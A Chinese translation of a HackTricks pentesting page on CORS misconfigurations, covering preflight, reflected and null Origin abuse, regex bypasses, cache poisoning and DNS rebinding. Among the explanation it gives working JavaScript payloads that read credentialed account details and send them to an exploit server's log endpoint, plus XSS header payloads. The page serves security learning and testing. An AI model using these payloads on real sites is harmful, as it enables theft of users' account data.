25 KiB
CORS - 配置错误和绕过
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
什么是CORS?
CORS(跨源资源共享)标准是必需的,因为它允许服务器指定谁可以访问其资源以及允许来自外部资源的哪些HTTP请求方法。
同源策略要求请求资源的服务器和资源所在的服务器使用相同的协议([http://),域名](http://\),域名)和相同的端口(80)。因此,如果服务器强制执行同源策略,则只有来自相同域和端口的网页才能访问资源。
下表显示了在http://normal-website.com/example/example.html
中如何应用同源策略:
访问的URL | 允许访问? |
---|---|
http://normal-website.com/example/ |
是:相同的协议、域和端口 |
http://normal-website.com/example2/ |
是:相同的协议、域和端口 |
https://normal-website.com/example/ |
否:不同的协议和端口 |
http://en.normal-website.com/example/ |
否:不同的域名 |
http://www.normal-website.com/example/ |
否:不同的域名 |
http://normal-website.com:8080/example/ |
否:不同的端口* |
*Internet Explorer将允许此访问,因为IE在应用同源策略时不考虑端口号。
Access-Control-Allow-Origin
头部
Access-Control-Allow-Origin
的规范允许多个来源,或值为**null
,或通配符*
。然而,没有浏览器支持多个来源,并且对使用通配符*
有限制**。(通配符只能单独使用,这将失败 Access-Control-Allow-Origin: https://*.normal-website.com
,并且不能与 Access-Control-Allow-Credentials: true 一起使用)
当网站请求跨域资源时,浏览器会添加一个Origin
头部,服务器在返回时会包含这个Access-Control-Allow-Origin
头部。
Access-Control-Allow-Credentials
头部
跨域资源请求的默认行为是不传递凭据,如cookies和Authorization头部。然而,跨域服务器可以通过将CORS的Access-Control-Allow-Credentials
头部设置为**true
来允许读取响应时传递给它的凭据**。
如果值设置为true
,则浏览器将发送凭据(cookies、授权头部或TLS客户端证书)。
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
预检请求
在某些情况下,当跨域请求:
- 包含非标准的HTTP方法(HEAD,GET,POST)
- 包含新的头部
- 包含特殊的Content-Type头部值
{% hint style="info" %} 请查看此链接中请求的条件,以避免发送预检请求 {% endhint %}
跨域请求会在**OPTIONS
方法的请求之前进行,CORS协议要求在允许跨域请求之前对方法和头部进行初始检查**。这被称为预检查。服务器会返回一个允许的方法列表,以及受信任的来源,浏览器会检查请求网站的方法是否被允许。
{% hint style="danger" %} 请注意,即使不发送预检请求,因为"常规请求"的条件得到了遵守,响应仍然需要具有授权头部,否则浏览器将无法读取请求的响应。 {% endhint %}
例如,下面是一个预检请求,它试图与一个名为Special-Request-Header
的自定义请求头部一起使用**PUT
方法**:
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
服务器可能返回以下响应:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Access-Control-Allow-Headers
允许的请求头Access-Control-Expose-Headers
允许暴露的响应头Access-Control-Max-Age
定义预检请求的最大缓存时间Access-Control-Request-Headers
跨域请求想要发送的请求头Access-Control-Request-Method
跨域请求想要使用的请求方法Origin
跨域请求的来源(由浏览器自动设置)
请注意,通常情况下(取决于内容类型和设置的请求头),在GET/POST请求中不会发送预检请求(请求会直接发送),但是如果您想要访问响应的请求头/主体,它必须包含一个允许的_Access-Control-Allow-Origin_头。
因此,CORS不能防止CSRF(但它可能有所帮助)。
本地网络请求的预检请求
当请求发送到本地网络IP地址时,会发送2个额外的CORS头:
Access-Control-Request-Local-Network
客户端请求头指示请求是本地网络请求Access-Control-Allow-Local-Network
服务器响应头指示资源可以安全地与外部网络共享
允许本地网络请求的有效响应还需要在响应中包含头Access-Controls-Allow-Local_network: true
:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://public.example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
{% hint style="warning" %} 请注意,Linux中的0.0.0.0 IP地址可用于绕过访问本地主机的要求,因为该IP地址不被视为“本地”。
如果您使用本地端点的公共IP地址(如路由器的公共IP地址),还可以绕过本地网络要求。因为在许多情况下,即使访问的是公共IP,如果是来自本地网络,也会被授予访问权限。
{% endhint %}
可利用的配置错误
请注意,大多数真实攻击需要将Access-Control-Allow-Credentials
设置为true
,因为这将允许浏览器发送凭据并读取响应。没有凭据,许多攻击变得无关紧要;这意味着您无法利用用户的Cookie,因此让他们的浏览器发出请求而不是自己发出请求是没有任何收益的。
一个值得注意的例外是当受害者的网络位置充当一种身份验证方式。您可以使用受害者的浏览器作为代理来绕过基于IP的身份验证并访问内部网络应用程序。在影响方面,这与DNS重绑定类似,但要利用起来要简单得多。
在Access-Control-Allow-Origin
中反射Origin
在现实世界中,这两个标头的值不允许同时出现。
同样,许多开发人员希望在CORS中允许多个URL,但不允许使用子域通配符或URL列表。因此,一些开发人员会动态生成**Access-Control-Allow-Origin
**标头,并且在多个情况下,他们只是复制Origin标头的值。
在这种情况下,同样的漏洞可能会被利用。
在其他情况下,开发人员可以检查域(victimdomain.com)是否出现在Origin标头中,然后,攻击者可以使用名为**attackervictimdomain.com
**的域来窃取机密信息。
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
null
Origin
null
是Origin头的一个特殊值。规范中提到它会在重定向和本地HTML文件中触发。一些应用程序可能会将null
origin列入白名单,以支持应用程序的本地开发。
这很好,因为一些应用程序允许CORS中的这个值,并且任何网站都可以通过使用沙盒iframe轻松获取null origin:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
正则表达式绕过
如果你发现域名 victim.com 被白名单了,你应该检查 victim.com.attacker.com 是否也被白名单,或者,如果你可以接管某个子域名,检查 somesubdomain.victim.com 是否被白名单。
高级正则表达式绕过
大多数用于在字符串中识别域名的正则表达式将关注字母数字ASCII字符和.-
。因此,像 victimdomain.com{.attacker.com
这样的字符串在 Origin 头部中将被解释为域名是 victimdomain.com
,但浏览器(在这种情况下 Safari 支持该字符作为域名)将访问 attacker.com
这个域名。
下划线 _
字符(在子域名中)不仅在 Safari 中支持,而且在 Chrome 和 Firefox 中也支持!
因此,使用其中一个子域名,你可以绕过一些“常见”的正则表达式来找到 URL 的主域名。
有关此绕过的更多信息和设置,请查看:https://www.corben.io/advanced-cors-techniques/ 和https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
来自子域名内的 XSS 攻击
开发人员用于防御 CORS 攻击的一种机制是将经常请求访问信息的域名加入白名单。然而,这并不完全安全,因为即使一个被白名单的域名的子域名容易受到其他攻击(如 XSS)的影响,它也可以启用 CORS 攻击。
让我们来看一个例子,下面的代码显示了允许 requester.com 的子域名访问 provider.com 资源的配置。
if ($_SERVER['HTTP_HOST'] == '*.requester.com')
{
//Access data
else{ // unauthorized access}
}
假设用户可以访问sub.requester.com但无法访问requester.com,并且假设sub.requester.com
易受XSS攻击。用户可以通过使用跨站脚本攻击方法来利用provider.com
。
服务器端缓存污染
如果条件成熟,我们可以利用通过HTTP头注入进行服务器端缓存污染,从而创建一个存储型XSS漏洞。
如果一个应用程序反射了Origin头而没有对其进行非法字符检查,例如逗号,我们实际上就有了一个针对IE/Edge用户的HTTP头注入漏洞,因为Internet Explorer和Edge将\r(0x0d)视为有效的HTTP头终止符:GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer将响应视为:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
这并不是直接可利用的,因为攻击者无法让某人的Web浏览器发送这样的格式错误的头部,但是我可以在Burp Suite中手动构造此请求,并且服务器端缓存可能会保存响应并将其提供给其他人。我使用的有效载荷将更改页面的字符集为UTF-7,这在创建XSS漏洞方面非常有用。
客户端缓存污染
您可能偶尔会遇到一个页面,其中自定义HTTP头中存在反射型XSS。假设一个网页反射了一个自定义头的内容而没有进行编码:
GET / HTTP/1.1
Host: example.com
X-User-id: <svg/onload=alert\(1\)>
HTTP/1.1 200 OK
Access-Control-Allow-Origin: \*
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: <svg/onload=alert\(1\)>\
使用CORS,我们可以在Header中发送任何值。单独来说,这是无用的,因为包含我们注入的JavaScript的响应不会被渲染。然而,如果没有指定Vary: Origin,响应可能会被存储在浏览器的缓存中,并在浏览器导航到相关URL时直接显示。我已经创建了一个fiddle来尝试在您选择的URL上进行此攻击。由于此攻击使用客户端缓存,它实际上非常可靠。
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>
绕过
XSSI(跨站脚本包含)/ JSONP
XSSI指的是一种利用script
标签包含资源时,由于脚本需要能够跨域包含,因此SOP不适用的漏洞。攻击者可以通过使用script
标签来读取所有被包含的内容。
当涉及到动态JavaScript或JSONP时,这一点尤其有趣,因为这些情况下使用了所谓的环境授权信息,比如cookies用于身份验证。当从不同的主机请求资源时,这些cookies会被包含进来。BurpSuite插件:https://github.com/kapytein/jsonp
在这里阅读更多关于不同类型的XSSI以及如何利用它们的信息。
尝试在请求中添加一个**callback
** 参数。也许页面已经准备好将数据作为JSONP发送。在这种情况下,页面将以Content-Type: application/javascript
的形式发送数据,从而绕过CORS策略。
简单(无用?)绕过
您可以要求Web应用程序代表您发出请求并返回响应。这将绕过**Access-Control-Allow-Origin
,但请注意,最终受害者的凭据不会被发送,因为您将会与不同的域**(代表您发出请求的域)进行联系。
CORS-escape提供了一个代理,它会将我们的请求和其头部一起传递,并且还会伪造Origin头部(Origin = 请求的域)。因此,CORS策略被绕过。
源代码位于Github上,因此您可以自己托管。
xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");
代理有点像“转发”你的请求,就像你发送的一样。我们可以用一种替代的方式来解决这个问题,这种方式仍然涉及到其他人为你发出请求,但这一次,服务器会用你指定的任何参数自己发出请求。
Iframe + Popup Bypass
你可以通过创建一个iframe并从中打开一个新窗口来绕过CORS检查,例如e.origin === window.origin
。更多信息请参见以下页面:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
通过TTL进行DNS Rebinding
基本上,你让受害者访问你的页面,然后你改变你的域名的DNS(即IP),使其指向受害者的网页。当TTL结束时,你让受害者执行一些操作(JS),这样就会发出新的DNS请求,然后你就能够收集信息(因为你始终将用户保留在你的域名中,他不会向受害者服务器发送任何cookie,所以这个选项滥用了受害者IP的特权)。
即使你将TTL设置得非常低(0或1),浏览器也有一个缓存,会阻止你在几秒钟/分钟内滥用这个功能。
因此,这种技术对于绕过显式检查很有用(受害者明确执行DNS请求以检查域名的IP,当调用机器人时,它将执行自己的请求)。
或者当你可以让用户/机器人在同一个页面上停留很长时间(这样你就可以等待缓存过期)。
如果你需要快速滥用这个功能,你可以使用像https://lock.cmpxchg8b.com/rebinder.html这样的服务。
如果你想运行自己的DNS rebinding服务器,你可以使用像DNSrebinder这样的工具,然后暴露你的本地端口53/udp,创建一个指向它的A记录(ns.example.com),并创建一个指向先前创建的A子域的NS记录(ns.example.com)。
然后,该子域的任何子域(ns.example.com)都将由你的主机解析。
还可以在http://rebind.it/singularity.html上查看公开运行的服务器。
通过DNS缓存洪泛进行DNS Rebinding
正如前一节所述,浏览器将域名的IP地址缓存的时间比TTL指定的时间长。然而,有一种方法可以绕过这种防御。
你可以有一个服务工作者,它将洪泛DNS缓存以强制进行第二个DNS请求。所以流程将是这样的:
- DNS请求响应为攻击者地址
- 服务工作者洪泛DNS缓存(删除了缓存的攻击者服务器名称)
- 第二个DNS请求,这次响应为127.0.0.1
蓝色是第一个DNS请求,橙色是洪泛。
通过缓存进行DNS Rebinding
正如前一节所述,浏览器将域名的IP地址缓存的时间比TTL指定的时间长。然而,还有另一种绕过这种防御的方法。
你可以在DNS提供商中为同一个子域创建2个A记录(或1个带有2个IP的A记录),当浏览器检查它们时,它将得到两者。
现在,如果浏览器决定首先使用攻击者IP地址,攻击者将能够提供将执行HTTP请求到同一域的有效负载。然而,现在攻击者知道受害者的IP,他将停止回答受害者的浏览器。
当浏览器发现域名对他不响应时,它将使用给定的第二个IP,这样他将绕过SOP访问不同的位置。攻击者可以利用这一点来获取信息并将其外泄。
{% hint style="warning" %}
请注意,为了访问本地主机,你应该尝试在Windows中重新绑定127.0.0.1,在Linux中重新绑定0.0.0.0。
像godaddy或cloudflare这样的提供商不允许我使用IP 0.0.0.0,但AWS route53允许我创建一个带有2个IP的A记录,其中一个是"0.0.0.0"
有关更多信息,请参见https://unit42.paloaltonetworks.com/dns-rebinding/
其他常见绕过方式
- 如果不允许使用内部IP,可能忘记禁止0.0.0.0(在Linux和Mac上有效)
- 如果不允许使用内部IP作为DNS响应,你可以将CNAME响应返回给localhost(在Linux和Mac上有效)
- 如果不允许使用内部IP作为DNS响应,你可以将CNAME响应返回给内部服务,例如www.corporate.internal。
武器化的DNS Rebinding
你可以在演讲Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference中找到有关前面绕过技术的更多信息以及如何使用以下工具。
Singularity of Origin
是一个用于执行DNS rebinding攻击的工具。它包括将攻击服务器DNS名称的IP地址重新绑定到目标机器的IP地址以及提供攻击有效负载以利用目标机器上的易受攻击软件所需的组件。
防止 DNS 重绑定的真实保护措施
- 在内部服务中使用 TLS
- 请求身份验证以访问数据
- 验证 Host 标头
- https://wicg.github.io/private-network-access/:建议在公共服务器要访问内部服务器时始终发送预检请求
工具
模糊测试 CORS 策略中的可能配置错误
- https://github.com/chenjj/CORScanner
- https://github.com/lc/theftfuzzer
- https://github.com/s0md3v/Corsy
- https://github.com/Shivangx01b/CorsMe
参考资料
{% embed url="https://portswigger.net/web-security/cors" %}
{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %}
{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}
{% embed url="https://www.codecademy.com/articles/what-is-cors" %}
{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %}
{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}
{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %}
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家 网络安全公司 工作吗?想要在 HackTricks 中 为你的公司做广告 吗?或者想要获得 PEASS 的最新版本或下载 PDF 格式的 HackTricks 吗?请查看 订阅计划!
- 发现我们的独家 NFTs 集合 The PEASS Family
- 获取 官方 PEASS & HackTricks 商品
- 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我的 Twitter 🐦@carlospolopm。
- 通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。